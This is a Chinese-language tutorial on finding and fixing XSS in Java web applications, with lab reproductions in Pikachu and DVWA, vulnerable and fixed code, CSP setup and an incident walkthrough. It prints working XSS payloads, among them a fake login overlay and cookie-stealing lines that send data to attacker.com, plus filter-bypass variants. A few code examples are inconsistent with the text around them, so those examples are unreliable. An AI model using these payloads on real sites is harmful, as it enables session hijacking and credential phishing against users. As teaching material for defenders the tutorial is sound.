写这篇东西的起因,是上个月帮一家公司的Java团队做代码审计,发现他们一个刚上线两周的内部系统里,六个接口有五个能直接反射XSS,其中一个还是存储型的。更离谱的是,负责的同事跟我说"我们用了MyBatis预编译,SQL注入肯定没问题,但XSS是什么我不太清楚"。
這其实代表了目前很多Java开发者的真实状态:对SQL注入、越权这些经典漏洞有概念,但XSS要么停留在"听说过",要么觉得"不就弹个窗嘛,没什么危害"。直到那个存储型XSS被拿去打了管理员的Cookie,他们才意识到问题的严重性。
所以我决定把这篇东西写透。从XSS的三种类型的本质区别,到Java项目里最容易踩的坑,再到线上漏洞的完整排查链路,最后给出真正能落地的修复方案。全程用真实的Java代码说话,不整虚的。
1. XSS在攻击链中的真实位置:先搞懂它为什么值钱
1.1 从热词关注度看XSS的学习热度与实际需求
先看一个奇怪的现象:CTFHub、皮卡丘靶场、DVWA靶场这几个关键词的搜索量一直居高不下,同时"xss payload""xss绕过"这类实战向的词汇也在持续增长。
为什么靶场复现这么火?因为XSS跟SQL注入不一样,后者可以直接用sqlmap一把梭,XSS的payload需要根据上下文环境动态构造,同一个payload在一个环境里能打,换个环境就被过滤了。这导致很多人"看教程全会,上手全废",所以才需要靶场反复练手。
但从企业真实需求来看,XSS的地位更高。现在几乎没有公司敢说自己完全没有XSS漏洞——OWASP Top 10里XSS常年霸榜前三,而且它不像RCE那样需要特定的组件漏洞,而是遍布在每一个业务接口里,只要有输入输出,就存在风险面。
1.2 一条XSS攻击链路的完整拆解
很多人理解XSS就是"在输入框里塞个script标签弹个窗",这理解没错,但太浅了。你要理解XSS为什么值钱,就得站在攻击者的视角看完整链路。
假设攻击者发现一个搜索页面存在反射型XSS,搜索引擎会把关键词直接回显到页面上:
<p>您搜索的是:<%= request.getParameter("keyword") %></p>就这么一行代码,攻击链路是这样的:
第一步,攻击者构造一个恶意URL,把keyword参数换成一段JavaScript代码,然后把这个URL通过各种渠道发给目标用户——邮件、短信、即时通讯工具都行。
第二步,目标用户点开这个URL,页面正常加载,但恶意脚本已经在用户的浏览器里执行了。
第三步,恶意脚本开始干活。最经典的玩法是通过document.cookie拿到用户的会话凭证,然后以用户的身份发起业务请求。如果这个用户是管理员,等于整个后台都沦陷了。
第四步,如果是存储型XSS,恶意脚本还会被存到服务端数据库里,每次有人访问这个页面都会中招,变成"一个受害者持续给下一个受害者投毒"的循环。
这就是XSS真正可怕的地方:它攻击的不是服务器,而是服务器信任的每一个用户。你服务端程序写的再严密,只要输出端有一处没做转义,所有用户都是潜在受害者。
1.3 三种XSS类型的核心区分
把XSS分类这件事,其实没有大家想象的那么玄乎,关键在于一个判断标准:恶意脚本是从哪里输出到页面上的。
反射型XSS最容易被理解,脚本是"一次性"的,通过URL参数进入服务端,服务端直接输出到响应页面里,用完即走,不落库。因为需要诱导用户点击特定链接,属于"非持久化"攻击。
存储型XSS正好相反,恶意脚本通过评论、留言、用户资料等入口进入数据库,后续所有用户访问该页面时,脚本都会从数据库被读取并执行。这是危害最大的类型,因为不需要针对特定用户构造链接,只要页面有人访问就能持续生效。
DOM型XSS跟前两者有本质区别——脚本根本不经过服务端。它的触发位置在JavaScript代码里,前端代码从URL或Request Headers等地方取值,直接操作DOM节点。这种XSS用传统的过滤思路很难防,因为服务端根本不知道攻击payload长什么样。
为了便于理解,我做了个对比表:
| 类型 | 脚本存储位置 | 触发方式 | 是否需要诱导点击 | 危害程度 |
|---|---|---|---|---|
| 反射型 | 不存储,仅在URL中 | 用户点击恶意URL | 需要 | 中等 |
| 存储型 | 服务端数据库 | 任意用户访问受影响页面 | 不需要 | 极高 |
| DOM型 | 不经过服务端,在前端DOM中 | 用户在浏览器中触发 | 需要 | 中等偏高 |
2. 反射型与存储型XSS的靶场复现:从攻击视角看清漏洞本质
2.1 皮卡丘靶场反射型XSS的完整复现过程
我在带新人做安全培训的时候,第一步永远是让他们去皮卡丘靶场手动复现一遍反射型XSS。不是因为网上没有现成的writeup,而是只有自己动手打一遍,才能建立对XSS的"肌肉记忆"。
皮卡丘靶场的反射型XSS入口是一个搜索框,后端逻辑非常简单:
String keyword = request.getParameter("keyword"); out.println("<p>搜索结果:" + keyword + "</p>");第一步测试,输入xss,页面正常回显"搜索结果:xss",说明参数没有被过滤。第二步测试,输入一段最简单的payload:
<script>alert(1)</script>页面弹窗,说明JavaScript执行了。第三步测试,尝试获取Cookie:
<script>alert(document.cookie)</script>弹出了当前域名的所有Cookie。到这里,一个真实的攻击者就可以开始构造钓鱼链接了,因为第一个接口已经被验证存在可利用的XSS漏洞。
需要注意的一个细节是:靶场复现时写入的payload最好不要直接用真实获取Cookie的脚本,而是用alert(document.domain)这种不敏感的信息做验证,避免在真实靶场环境里捞到其他人埋的数据。
2.2 DVWA靶场存储型XSS:从留言板开始的真实攻击场景
DVWA的存储型XSS入口是一个留言板功能,这个场景模拟的是真实业务里最常见的存储型XSS爆发点。后端代码大概是这样的:
String message = request.getParameter("message"); String sql = "INSERT INTO comments(content) VALUES('" + message + "')"; // 读取时直接拼接输出 String readSql = "SELECT content FROM comments";查看留言板时,所有历史留言被读取并输出到页面,没有做任何过滤。
这里的攻击逻辑要提前想好:注入的payload会在每次页面渲染时执行,所以不能用弹窗这种一次性的东西,而是要让payload具备持续性的效果。
一个经典的操作是植入一个伪装登录框的HTML:
<script> document.write('<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">'); document.write('<form action="http://attacker.com/steal" method="POST">'); document.write('<input type="text" name="username" placeholder="账 号">'); document.write('<input type="password" name="password" placeholder="密 码">'); document.write('<button type="submit">登 录</button>'); document.write('</form></div>'); </script>这个payload会覆盖整个页面,让用户误以为网站要求重新登录,输入的信息直接发送到攻击者服务器上。这就是存储型XSS最危险的地方——它可以在不影响服务器运行的前提下,实现对用户的批量钓鱼。
2.3 靶场里"绕过"到底在绕什么
说到绕过之前,先理清一个概念:绕过的前提是被过滤了,靶场里那些过滤规则本质上是模拟真实业务中的"半吊子修复"。
最常见的一种绕过发生在过滤黑名单时。比如某个靶场过滤了<script>标签,但没过滤<img>的onerror事件:
<img src=x onerror=alert(1)>还遇到过只过滤了"script"这个字符串,但没过滤大小写变体的情况:
<SCRIPT>alert(1)</SCRIPT>经典的数据接收场景是,后端用String.replace("<script>", "")做替换,但只替换了第一处,没做全局替换,于是:
<sc<script>ript>alert(1)</script>经过一次替换后变成了<script>alert(1)</script>,依然能弹窗。
之所以专门讲这些,是想说明一个核心观点:黑名单过滤这条路永远走不通,攻击者总是能找到payload变体。这也是后面修复方案里推荐白名单思路的原因。
3. DOM型XSS:纯前端链路里最容易忽视的暗坑
3.1 为什么说DOM型XSS让服务端形同虚设
顺着前文的三种XSS分类继续深挖,必须单独把DOM型XSS拿出来说。因为它在实际的Java项目中最容易被忽视,而且出了事还很难查——服务端日志里压根看不到攻击payload。
看一段常见的Java代码,这是很多JSP+Servlet项目里的典型写法:
String content = request.getParameter("content"); request.setAttribute("content", content); request.getRequestDispatcher("/show.jsp").forward(request, response);JSP页面里这样接收并渲染:
<script> var content = "${content}"; document.getElementById("content").innerHTML = content; </script>前端JavaScript从URL取到content参数后直接赋值给innerHTML,整个过程浏览器发出一个正常的GET请求,服务端转发后吐出正常页面,恶意脚本生成完全发生在浏览器本地。
这种XSS最恶心的地方在于:服务端无法通过请求特征或者响应内容做检测,因为对服务端来说,请求和响应都是"正常"的。这导致很多WAF或日志分析系统对它几乎无效。
3.2 基于URL取值的DOM型XSS实例剖析
再看一个更典型的场景,很多前端的分享页面会从URL里取参数放到页面上作为分享文案,比如:
var shareText = window.location.href.split('text=')[1]; document.getElementById('shareDesc').textContent = shareText;这里用的是textContent是安全的,但如果改成:
var shareText = decodeURIComponent(window.location.href.split('text=')[1]); document.getElementById('shareDesc').innerHTML = shareText;就危险了,因为innerHTML会解析HTML标签。构造以下URL:
https://site.com/share?text=<img src=x onerror=document.location='http://attacker.com/log?c='+document.cookie>访问这个链接的用户,其Cookie会被直接发送到攻击者服务器。
要理解DOM型XSS的修复逻辑,得先记住一条JavaScript安全准则:不要用innerHTML插入不可信内容,尽量使用textContent;如果必须要用innerHTML,必须自己实现HTML编码函数或使用转义库。
4. Java服务端如何引入XSS漏洞:典型风险点与实例代码分析
4.1 为什么Java项目依然是XSS重灾区
很多Java开发者理所当然地认为Java是强类型语言,安全程度比PHP这种弱类型语言高不少——这种想法对SQL注入可能还有几分道理,但放在XSS场景下就完全站不住脚。
因为XSS的本质是输出端的编码问题,跟编程语言的类型安全没有半毛钱关系。你把代码写得再规范,只要有一个地方把用户输入直接拼接到HTML响应里,漏洞就存在了。
结合我做代码审计的经验,Java项目的XSS风险点集中在下面几个位置:
- 用户输入没有经过任何处理直接输出到HTML
- 将用户输入写入数据库后,读取时直接输出到页面
- JSONP接口返回用户输入的内容
- 文件上传接口,文件名直接反馈到页面
- 日志系统直接把请求参数拼进日志页面
4.2 一个真实带漏洞的Java接口改造前后对比
为了直观说明,我用一个最典型的场景走一遍完整流程:一个用户昵称更新功能。
漏洞版本的代码是这样:
@PostMapping("/api/user/updateNickname") public String updateNickname(HttpServletRequest request) { String nickname = request.getParameter("nickname"); String sql = "UPDATE user SET nickname = '" + nickname + "' WHERE id = " + currentUserId(); jdbcTemplate.execute(sql); return "success"; } @GetMapping("/api/user/profile") public String getProfile(HttpServletRequest request) { String sql = "SELECT nickname FROM user WHERE id = " + currentUserId(); User user = jdbcTemplate.queryForObject(sql, User.class); return "<div>昵称:" + user.getNickname() + "</div>"; }攻击者在昵称输入框提交一段恶意代码:
<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">这个昵称会被存进数据库,以后任何人打开/api/user/profile查看该用户的信息,这段攻击脚本就会在别人的浏览器里执行。
修复版本的代码分两层处理:
第一层,输出编码,在渲染时做HTML转义:
@GetMapping("/api/user/profile") public String getProfile(HttpServletRequest request) { String sql = "SELECT nickname FROM user WHERE id = " + currentUserId(); User user = jdbcTemplate.queryForObject(sql, User.class); String safeNickname = StringEscapeUtils.escapeHtml4(user.getNickname()); return "<div>昵称:" + safeNickname + "</div>"; }第二层,输入校验,在写入数据库时做白名单格式校验:
@PostMapping("/api/user/updateNickname") public String updateNickname(HttpServletRequest request) { String nickname = request.getParameter("nickname"); if (nickname == null || !nickname.matches("^[\\u4e00-\\u9fa5a-zA-Z0-9_]{2,20}$")) { return "昵称只能包含中英文、数字和下划线,长度为2-20个字符"; } // 正常写入数据库 }第一层是修复XSS的关键,第二层是业务层面的约束。有人会问:"只做输入校验是不是就够了?"答案是不行,因为数据可能通过其他渠道进入系统,比如Excel导入、第三方接口对接。所以输出编码才是XSS治理的根基。
4.3 Java面试中XSS的常见考点串联
既然热词里大量出现了Java面试相关内容,那就顺带串联一下面试官到底会怎么问XSS。我自己面人的时候通常分三个层次递进:
第一层是概念题:XSS有哪些类型?反射型、存储型、DOM型分别是什么?这题能刷掉一半人,因为很多候选人能说出反射型和存储型,却搞不清DOM型。
第二层是实战题:如果你的项目里存在一个存储型XSS,攻击链是什么?这题考察的是攻击链路理解、数据流走向以及源码审计能力。能答到"从输入点到存储点再从输出点执行"这个数据流层面的候选人,基本能过。
第三层是方案题:你怎么修复一个XSS漏洞?你选择在输入侧过滤还是在输出侧编码?为什么?这题考察的是安全设计的整体思维。答案核心是"输出编码为主,输入校验为辅,配合CSP做纵深防御"。
5. 修复方案落地:从输出编码到纵深防御的完整体系
5.1 为什么说转义是XSS治理的第一道防线
先把话说透:XSS修复的核心是在"不可信数据"到达"可执行环境"之前,将其翻译成"无威胁符号"。
听起来玄乎,其实就是对数据做一次编码转换。数据要被放到HTML标签里,就做HTML实体编码;要被放到JavaScript变量里,就做JavaScript编码;要被放到URL属性里,就做URL编码。
我用一个例子帮你理解编码的作用:
原始数据:<script>alert(1)</script> HTML实体编码后:<script>alert(1)</script>浏览器收到编码后的字符串,会把它当作纯文本渲染,尖括号被显示成字面字符,不会去解析其中的脚本。这就是编码转义解决XSS的基本原理。
对于Java后端,常用的有两个工具库:
- Apache Commons Text 的 StringEscapeUtils:提供
escapeHtml4()、escapeEcmaScript()等方法,老牌稳定。 - OWASP Java HTML Sanitizer:基于白名单策略,只允许设置过的标签和属性通过,适合富文本场景。
5.2 Java中的具体修复实现:不只escapeHtml4
聊完原理,直接上代码。实际项目中修复XSS往往不是加一个escapeHtml4()这么简单,要根据输出位置选择不同的编码策略。
场景一:普通HTML标签内输出文本
String safeValue = StringEscapeUtils.escapeHtml4(originalValue); // 输出到 <p>${safeValue}</p>场景二:HTML属性内输出
这里的坑位很多,很多人只做了escapeHtml4(),但在属性上下文里还需要额外处理引号:
String safeValue = StringEscapeUtils.escapeHtml4(originalValue) .replace("\"", """) .replace("'", "'"); // 输出到 <input value="${safeValue}">场景三:JavaScript上下文
String safeValue = StringEscapeUtils.escapeEcmaScript(originalValue); // 输出到 <script>var name = "${safeValue}";</script>场景四:富文本内容,这时候不能简单转义,转义会把正常的排版标签全废掉。需要白名单过滤:
import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS); String safeHtml = policy.sanitize(originalHtml);这个方案会保留<b>、<i>、<a>这类安全标签,但把<script>、<iframe>、onerror事件属性全部剔除。
5.3 项目里全局拦截器的设计与实现
修单个漏洞容易,难的是让整个项目不新产出漏洞。对于存量代码量大的Java项目,推荐用Filter做统一输出编码。
核心思路是:在HttpServletResponse外边包一层包装器,拦住getWriter()的输出流,在写入缓冲之前做HTML转义。
public class XssFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssRequestWrapper xssRequest = new XssRequestWrapper((HttpServletRequest) request); chain.doFilter(xssRequest, response); } } public class XssRequestWrapper extends HttpServletRequestWrapper { public XssRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXSS(value); } private String cleanXSS(String value) { if (value == null) return null; value = value.replaceAll("<", "<").replaceAll(">", ">"); value = value.replaceAll("\"", """).replaceAll("'", "'"); return value; } }这个方案能实现全站输入的"粗过滤",直接堵住反射型和存储型XSS的大部分入口,但要注意两点:
第一,全局Filter只适合处理请求参数,对于富文本场景往往会造成把用户的格式标签也转义掉,所以富文本接口需要单独设置例外路径。
第二,全局Filter不是万能药,它拦不住DOM型XSS——因为DOM型XSS的payload根本不经过服务端请求参数这条链路。
5.4 纵深防御:CSP(Content-Security-Policy)的配置
任何单独的修复手段都有被绕过的可能,所以企业级的XSS治理最后还是落到纵深防御上。其中最有效的手段之一是CSP,它能直接告诉浏览器"哪些来源的脚本可以执行"。
通过HTTP响应头配置CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'none';这段配置的语义是:只允许加载同源域名和指定CDN域名下的脚本,其他来源的脚本一律被浏览器拦截。这样就算攻击者注入了一个外链的恶意脚本文件,浏览器也不会去加载它。
Java中可以通过Filter统一添加响应头:
public class SecurityHeaderFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletResponse resp = (HttpServletResponse) response; resp.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'"); chain.doFilter(request, response); } }需要注意,CSP配置太严格会影响业务功能,比如在线支付回调脚本、第三方统计脚本会被拦截,所以上线前要在测试环境充分验证。
修复方案的优先级明确排序一下:
- 第一优先级:输出编码,在所有输出点做上下文相关的转义或白名单过滤
- 第二优先级:输入校验,在白名单规则允许的范围内做格式校验
- 第三优先级:CSP + HttpOnly,降低利用纵深
- 第四优先级:XSS审计与自动化扫描,让漏洞在发布前就被发现
6. 一次线上XSS告警的完整排查链路
直接讲修复方案可能还是有点抽象,下面还原一次我实际经历过的线上XSS告警排查过程。事件背景:公司内部一个用户反馈系统收到了恶意payload提交,安全运营平台同步发出了XSS告警通知。
第一步,确认漏洞真实性。拿到告警后,我先检查了payload的上报数据,确认这个payload在执行后确实会把数据回传到外部域名,可以认定为真实攻击请求。
第二步,定位漏洞接口。通过告警信息里的请求路径,打开日志系统检索对应的API地址,确认接口是GET /api/user/search?keyword=xxx。找到对应代码后,问题一目了然:
@GetMapping("/api/user/search") public String searchUser(@RequestParam String keyword, Model model) { List<User> users = userMapper.search(keyword); model.addAttribute("keyword", keyword); model.addAttribute("users", users); return "searchResult"; }模板文件searchResult.html里是这样输出关键词的:
<p>您搜索的"<span th:text="${keyword}"></span>",共找到<span th:text="${#lists.size(users)}"></span>条结果</p>看到这里,第一反应是Thymeleaf的th:text本身就是安全转义的,怎么会出问题?后来仔细往下翻,发现问题出在另一个地方。
第三步,翻看到的完整页面代码。发现模板里除了th:text,还有一个地方用了th:utext:
<div th:utext="${keyword}"></div>th:utext就是不转义输出。看看这段历史代码旁边的注释,写着"需求方要求搜索关键词支持富文本加粗显示"——典型的"业务需求绕过安全机制"的案例。
第四步,验证攻击链路。本地复现之后,把payload放进keyword参数请求线上接口,确认返回页面内出现了非转义的恶意脚本标签,攻击链路成立。
第五步,修复和复盘。修复方案分三步:
- 把
th:utext改回th:text,彻底关闭不转义输出 - 如果确实需要有格式展示,用OWASP HTML Sanitizer做白名单过滤
- 给该接口补充自动化安全测试用例,防止后续人为改回
排查链路到这里就完整了。整个过程最难的其实不是技术定位,而是找到那条藏在一堆正常业务代码里的"特殊需求"。
7. 检测XSS的自动化思路与工具选型
人工审计毕竟覆盖不到全量代码,所以在团队内部推动XSS检测自动化才是治理的长久之计。根据项目实际阶段,可以分三层推进:
第一层,静态代码扫描,在CI阶段集成SpotBugs插件,配合Find Security Bugs规则集。它会自动找出类似request.getParameter()直接输出到响应体的代码路径,在代码提交阶段就拦截掉已知风险模式。
第二层,动态安全测试,用Xray或AWVS对测试环境做定期的自动化扫描。这类工具的核心思路是向每个输入点注入变形payload,观察响应里是否回显了未编码的脚本标记。要注意的是,爬虫覆盖率是动态扫描的关键指标,单页应用(SPA)需要额外配置爬取规则,否则大量DOM型XSS触达不到。
第三层,WAF与RASP兜底。ModSecurity这类WAF能拦截已知payload,RASP(运行时应用自我保护)则能在应用层检测并阻断恶意代码执行。但这两者更适合做"运行时保险",而不是根本解法——因为WAF黑名单会被绕过,RASP在每个Java版本和框架组合下的兼容性也需要大量调优。
工具选型上有一个重要原则需要强调:不上没有责任人、没有告警接收人的扫描工具。很多团队上了扫描器但没人看结果,形同虚设。工具的上线必须同时指定负责角色和响应SLA,否则扫描报告躺在邮箱里一百封也不会有人处理。
8. 这三年我在XSS治理上踩过的最深的坑
最后分享一个具体的教训。当时我在做一个内容管理系统的重构,开发组长说"安全部门的意见我们已经收到了,已经在全局Context里加了HTML编码过滤器"。
我随手测了一下:
- 在标题输入框提交
<script>alert(1)</script>——被过滤器编码了,页面安全,没问题。 - 提交
<img src=x onerror=alert(1)>到富文本编辑器——完了,富文本功能的业务逻辑依赖原样保留HTML标签,全局过滤器把所有的HTML标签全部转义成了实体,编辑器出来的内容变成了乱码。
方案组紧急讨论后决定,给富文本接口单独开白名单路径,并在编辑器前端引入白名单过滤的Sanitizer逻辑。但这还不是最坑的。
真正致命的是:因为全局过滤器在处理请求参数时把恶意输入"转义掉了",攻击payload被原样存入了数据库。过了几个月安全团队做数据清洗,发现库里有大量包含script标签的脏数据,而恰好新开发的页面为了性能,走了一个不走全局过滤器的数据接口——结果直接翻车。
写这个案例是想说一句真心话:XSS治理的根本,不是找到一个"万能过滤方案"就能一劳永逸的,它需要你识别出每一条数据流,在输出的每一个节点都做正确的编码处理。
平时多看几遍OWASP的XSS Prevention Cheat Sheet,把各种上下文(HTML标签内、属性内、JavaScript内、CSS内、URL内)的编码规则记熟,再结合自动化工具做兜底,才算是一个合格的Java开发者面对XSS时该有的姿势。